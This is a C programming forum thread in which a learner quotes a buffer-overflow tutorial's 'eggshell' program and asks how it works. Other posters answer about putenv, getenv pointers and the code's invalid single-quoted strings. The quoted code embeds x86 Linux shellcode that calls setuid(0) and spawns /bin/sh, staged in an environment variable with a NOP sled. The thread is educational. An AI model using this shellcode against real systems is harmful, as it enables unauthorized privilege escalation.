Simple question regarding environment variables in Linux

This is a discussion on Simple question regarding environment variables in Linux within the C Programming forums, part of the General Programming Boards category; Hi, Im learning a thing or two about buffer overflows, and a tutorial I'm reading has the following piece of ...

  1. #1
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    Simple question regarding environment variables in Linux

    Hi,

    Im learning a thing or two about buffer overflows, and a tutorial I'm reading has the following piece of code:
    Code:
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #define NOP 0x90
    
    char shellcode[] =
    '\x31\xc0\x31\xdb\x31\xd2\x53\x68\x69\x74\x79\x0a\x68\x65\x63'
    '\x75\x72\x68\x44\x4c\x20\x53\x89\xe1\xb2\x0f\xb0\x04\xcd\x80'
    '\x31\xc0\x31\xdb\x31\xc9\xb0\x17\xcd\x80\x31\xc0\x50\x68\x6e'
    '\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x8d\x54\x24\x08\x50\x53'
    '\x8d\x0c\x24\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80';
    
    int main(void)
    {
      char shell[512];
      puts('Eggshell loaded into environment.');
      memset(shell,NOP,512);
      memcpy(&shell[512-strlen(shellcode)],shellcode,strlen(shellcode));
      setenv('EGG', shell, 1);
      putenv(shell);    // [1]
      system('bash'); // [2]
      return(0); 
    }
    Most of it is perfectly clear, it loads the shellcode into an environment variable, but what I am confused about is line [1] and [2]. setenv copies the shellcode, etc. to the environment variable, so what is the point of thise 2 lines?

    The tutorial also gives a second piece of code (to retrieve the memory address of the environment variable).
    Code:
    int main(void)
    {
       printf('0x&#37;lx\n', getenv('EGG'));
       return 0;
    }
    This is strange to me (and it doesnt work, I think it gives a segmentation fault), basically it gets the VALUE of the environment variable, so how on earth is it supposed to get its address?

    Any help would be appreciated.

  2. #2
    Captain Crash brewbuck's Avatar
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    Quote Originally Posted by nickkrym View Post
    Most of it is perfectly clear, it loads the shellcode into an environment variable, but what I am confused about is line [1] and [2]. setenv copies the shellcode, etc. to the environment variable, so what is the point of thise 2 lines?
    There is no point. They perform the same function. The "tutor" who wrote this code is stupid, like most crackers. (Just studying this stuff doesn't make you a cracker, by the way.)

    This is strange to me (and it doesnt work, I think it gives a segmentation fault), basically it gets the VALUE of the environment variable, so how on earth is it supposed to get its address?
    getenv returns a direct pointer into the environment. So it IS returning the address of the variable. Try overwriting the returned location with other data -- you'll corrupt other environment variables.

  3. #3
    Just Lurking Dave_Sinkula's Avatar
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    Strings are enclosed within double quotes, not single quotes.
    7. It is easier to write an incorrect program than understand a correct one.
    40. There are two ways to write error-free programs; only the third one works.*

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